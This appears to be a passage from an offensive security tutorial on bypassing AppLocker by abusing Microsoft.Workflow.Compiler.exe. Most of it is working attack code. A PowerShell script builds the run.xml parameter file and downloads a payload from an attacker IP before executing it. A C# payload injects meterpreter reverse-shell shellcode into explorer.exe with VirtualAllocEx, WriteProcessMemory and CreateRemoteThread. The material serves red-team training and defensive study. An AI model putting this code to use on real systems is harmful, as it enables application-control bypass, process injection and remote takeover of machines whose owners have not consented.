Even with default AppLocker executable restrictions, we can still use
binaries on the host to compile and execute arbitrary C# .NET code. The
following PowerShell commands will use code from the
Microsoft.Workflow.Compiler.exe to generate a valid run.xml file designed to
compile and execute a C# .NET payload in the file payload.txt.
Be cognizant of the fact that this PowerShell script reflectively loads
assemblies and directly interacts with C# and .NET. If AppLocker scripting
restrictions are enabled, we will not be able to execute these commands on the
target. In this scenario, we’ll have to generate the run.xml parameter file on
a development Windows host and then transfer run.xml and payload.txt to the
target.
Once we’ve generated the run.xml parameters file, we can execute the payload
by invoking Microsoft.Workflow.Compiler.exe, providing it with the run.xml
and results.xml parameters. Any issues with compiling the target payload.txt
C# .NET payload will be provided in the results.xml file.
$workflowProgram = (Get-ChildItem `
-ErrorAction SilentlyContinue `
-Path "C:\Windows" `
-Filter "Microsoft.Workflow.Compiler.exe" `
-Recurse `
-File | Where-Object {$_.FullName -Like "*Framework64\v4*"}).FullName
$workflowAsm = [Reflection.Assembly]::LoadFrom($workflowProgram)
$serializeInputToWrapper = `
[Microsoft.Workflow.Compiler.CompilerWrapper].GetMethod(
'SerializeInputToWrapper',
[Reflection.BindingFlags] 'NonPublic, Static'
)
$workflowLibrary = (Get-ChildItem `
-ErrorAction SilentlyContinue `
-Path "C:\Windows" `
-Filter "System.Workflow.ComponentModel.dll" `
-Recurse `
-File | Where-Object {$_.FullName -Like "*Framework64\v4*"}).FullName
Add-Type -Path $workflowLibrary
$compilerParam = New-Object `
-TypeName Workflow.ComponentModel.Compiler.WorkflowCompilerParameters
$compilerParam.GenerateInMemory = $True
$pathVar = "payload.txt"
$output = (Join-Path -Path (Resolve-Path -Path .).Path -ChildPath "run.xml")
$tmp = $serializeInputToWrapper.Invoke(
$null,
@(
[Workflow.ComponentModel.Compiler.WorkflowCompilerParameters] $compilerParam,
[String[]] @(,$pathVar)
)
)
Move-Item $tmp $output
$lHost = "192.168.45.190"
$lPort = "80"
Invoke-RestMethod `
-Uri "http://${lHost}:${lPort}/$pathVar" `
-UseBasicParsing `
-OutFile $pathVar
. $workflowProgram $output "results.xml"The following C# .NET code is a simple process injection payload that loads a
meterpreter reverse shell payload into the explorer.exe process. We avoid
using any non-standard libraries that might require installation or inclusion as
this will fail at compile time.
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Workflow.ComponentModel;
public class Run : Activity
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(
uint processAccess,
bool bInheritHandle,
int processId
);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
uint flAllocationType,
uint flProtect
);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
Int32 nSize,
out IntPtr lpNumberOfBytesWritten
);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
IntPtr lpThreadId
);
public Run()
{
int explorerId = Process.GetProcessesByName("explorer")[0].Id;
IntPtr hProcess = OpenProcess(0x001F0FFF, false, explorerId);
IntPtr addr =
VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
byte[] buf = new byte[854] {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00, 0x41,
// ...
0xc2, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5
};
IntPtr outSize;
WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);
IntPtr hThread = CreateRemoteThread(
hProcess,
IntPtr.Zero,
0,
addr,
IntPtr.Zero,
0,
IntPtr.Zero
);
}
}